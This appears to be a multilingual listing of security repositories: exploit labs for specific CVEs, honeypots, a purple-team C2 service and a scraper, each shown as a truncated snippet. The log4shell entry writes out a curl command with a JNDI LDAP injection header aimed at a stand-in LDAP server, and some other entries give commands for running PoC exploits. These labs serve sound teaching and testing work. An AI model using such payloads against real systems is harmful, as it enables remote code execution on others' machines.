Cisco-FMC-honeypot

FMC-트랩 저상호작용 허니팟 으로, Cisco Secure Firewall Management Center FMC 웹 표면을 모방하고 인증되지 않은 Java 직렬화 스타일 공격 트래픽CVE 스타일 안전하지 않은 역직렬화 프로브을 캡처합니다. 안전한 설계: 애플리케이션은 Java 객체를 역직렬화하지 않습니다. \xac\xed\x00\x05및 Base64 rO0AB…를 탐지하고 정규 표현식 및 휴리스틱을 사용하여 셸 또는 URL 문자열을 추출합니다. 명령 실행 없음: 2단계 URL은 Python requests를 사용하여 실행...

web-hacking-playground

Web Hacking Playground Description Web Hacking Playground is a controlled web hacking environment. It consists of vulnerabilities found in real cases, both in pentests and in Bug Bounty programs. The objective is that users can practice with them, and learn to detect and exploit them. Other topic...

log4shell_lab

log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...

CVE-2018-19131

CVE-2018-19131 데모 저자: Jonathan M. Wilbur 저작권 연도: 2018 라이선스: MIT License 이것으로 불법적인 행위를 하지 마십시오. 이것은 악성 소프트웨어가 아닙니다. 단지 개념 증명일 뿐입니다. 이것은 CVE-2018-19131의 데모이며, Docker Compose 앱에서 실행됩니다. 이 라이브러리는 취약점이 있는 Squid 버전 3.5.27을 빌드합니다. 버전 3.5.28은 취약하지 않습니다. 영향을 받는 특정 버전은 여기에 나열되어 있습니다. 테스트는 Windows 10 및 Mac ...

lk_scraper

LinkedIn Scraper Scrapes Any LinkedIn Data Installation root@kitploit: $ pip install git+git://github.com/jqueguiner/lkscraper Setup Using Docker compose root@kitploit: $ docker-compose up -d $ docker-compose run lkscraper python3 Using Docker only for Selenium server First, you need to run a...

proteus

Proteus Proteus - axiom 데이터베이스 및 API https://github.com/pry0cc/axiom. 원래 ProjectDiscovery 도구를 사용하여 ASM 플랫폼 구성하기를 위해 작성되었습니다. 설정 먼저 저장소를 클론합니다. root@kitploit: git clone https://github.com/pry0cc/proteus /.proteus cd /.proteus 다음으로, Slack 웹훅을 포함하도록 config/notify.yaml을 수정하세요. bin 디렉토리로 이동하여...

Joomla-cve-2015-8562

Joomla! RCE CVE 2015-8562 CVE 2015-8562 테스트 환경을 설정하기 위한 Docker compose 파일 목차 1. 프로젝트 소개 2. 시작하기 사전 요구사항 설치 3. 사용법 4. 기여 5. 라이선스 프로젝트 소개 이 프로젝트는 CVE 2015-8562 테스트 환경을 설정하기 위한 Docker compose 파일을 포함합니다. Apache 2.4 서버, PHP 5.3, MySQL 5.6 서버를 설정합니다. 컨테이너가 생성되면 Joomla 3.4.4 설치 절차가 표시됩니다. 프로젝트에는...

reternal-quickstart

RE:TERNAL 참고: 아직 개발 중이며, 테스트 용도로만 사용하고 인터페이스를 노출하지 마십시오! 현재 compose는 아직 작동하지 않으며, 무엇을 하고 있는지 알고 있는 경우에만 시도하십시오 RE:TERNAL은 중앙 집중식 퍼플 팀 오케스트레이션 서비스로, 타사 C2 프레임워크를 관리합니다. 에이전트는 엔드포인트에 설치되어 다양한 공지된 레드 팀 기술을 실행하여 블루 팀 능력을 테스트합니다. 시뮬레이션은 MITRE ATT&CK 프레임워크에 매핑됩니다. 이 저장소에는 Docker를 통해 reternal 플랫폼을 설정하기 ...

reternal-quickstart

RE:TERNAL Note: Still under development, only use for testing and do not expose interfaces! Current compose doesn't work yet, only try when you know what you're doing RE:TERNAL is a centralised purple team orchestration service to manage third-party C2 frameworks. Agents are installed on endpoint...

dns-honeypot

Мои первые 24 часа работы DNS-приманки Как инженер, который большую часть времени проводит, погрузившись в инструменты наблюдаемости, я иногда получаю идеи, которые просто обязан воплотить. Это был один из таких экспериментов: запустить DNS-резолвер на чистом IP, который никто не рекламирует, и...

CVE-2022-39275

CVE-2022-39275 CVE-2022-39275를 위한 POC입니다. 보안 권고 관련 자료: NIST NVD CVE.org Github Security Advisory 이 저장소는 커밋 해시 47f9f5fb29be2b5892c79ace4f23022f397a0a5e의 포크입니다 링크. git 서브모듈도 함께 변경해야 했기 때문에 다시 푸시되었습니다. POC-설정 설정 가이드를 따르십시오. 만약 구버전이라면, 다음 단계를 따르십시오: root@kitploit: cd saleor-platform docker compose...

CVE-2026-85391

Peppermint through 0.5.5 contains a hardcoded JWT signing secret in docker-compose.yml that allows unauthenticated attackers to forge session tokens for any account. Attackers can use the published secret to mint valid tokens for arbitrary user IDs and access protected endpoints without credentia...

CVE-2026-85391 Peppermint through 0.5.5 Use of Hard-coded JWT Signing Secret in docker-compose.yml

Peppermint through 0.5.5 contains a hardcoded JWT signing secret in docker-compose.yml that allows unauthenticated attackers to forge session tokens for any account. Attackers can use the published secret to mint valid tokens for arbitrary user IDs and access protected endpoints without credentia...

CVE-2026-27607

CVE-2026-27607 CVE-2026-27607에 대한 개념 증명PoC으로, GHSA-w5fh-f8xh-5x3p로 게시되었습니다. 실행 Node.js와 docker + compose가 필요합니다. 의존성 설치: npm ci 취약한 RustFS 인스턴스 시작: docker compose up 시작 완료 대기 데모 실행: ./exploit.js...

AZL-99210 CVE-2026-56855 affecting package docker-compose 2.27.0-13

Previously, after a channel has been established, a malicious peer could send crafted messages that would deadlock the entire connection. Now, we handle all RFC 4254 channel messages; global requests are handled explicitly. Then, treat all other messages as a protocol error and tear the connectio...

Poc-CVE-2025-9519

Easy Timer v4.2.1 - 사전 요구 사항 Docker Engine 설치 Docker Compose 설치 공식 Docker 문서를 참조하여 설치하세요: Docker Engine 설치 1. Docker로 WordPress 시작하기 프로젝트 디렉터리에서: root@kitploit: sudo docker-compose up -d mkdir -p wp-content/plugins cd wp-content/plugins wget...

CVE-2020-11800

과제 지침에서 요구하는 섹션은 “Required”로 표시되어 있습니다. 1. 환경 Required Dockerfile Required 이 환경은 Vulhub에서 제공하는 취약한 Zabbix 서버 이미지를 기반으로 한 사용자 정의 Dockerfile을 사용합니다. root@kitploit: FROM vulhub/zabbix:3.0.3-server Dockerfile은 취약한 Zabbix 3.0.3 서버 환경을 사용하여 로컬 이미지를 빌드합니다. 빌드 과정에서 추가 패키지나 구성은 추가되지 않았습니다...

CVE-2021-43798

랩 실행 docker compose up -d PoC: python3 CVE-2021-43798.py IP PORT 제작: https://www.linkedin.com/in/steven-guimaraes-29aa79212/...

ensimag-secu3a-cve-2024-22416

CVE-2024-22416 참고 보고서: GHSA-pgpj-v85q-h5fm 이 저장소는 pyLoad 서버와 csrf.html만을 제공하는 공격자 서버를 모두 설정하는 docker compose 구성을 포함합니다. 직접 테스트하려면 docker composer up을 실행하세요 docker 외에 docker composer도 설치되어 있어야 합니다. 그런 다음 localhost:8000으로 이동합니다. 이곳은 pyLoad 로그인 페이지이며, 사용자 pyload와 비밀번호 pyload로 로그인합니다. 그런 다음...

CVE-2025-34159

CVE-2025-34159: Coolify의 Docker Compose 주입 취약점 취약점 개요 필드| 값 ---|--- CVE ID| CVE-2025-34159 영향 범위| Coolify ≤ v4.0.0-beta.420.6 수정 버전| v4.0.0-beta.420.7 심각도| 치명적 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OS 명령 주입, CWE-20 부적절한 입력 검증 요약 Coolify의 애플리케이션 배포...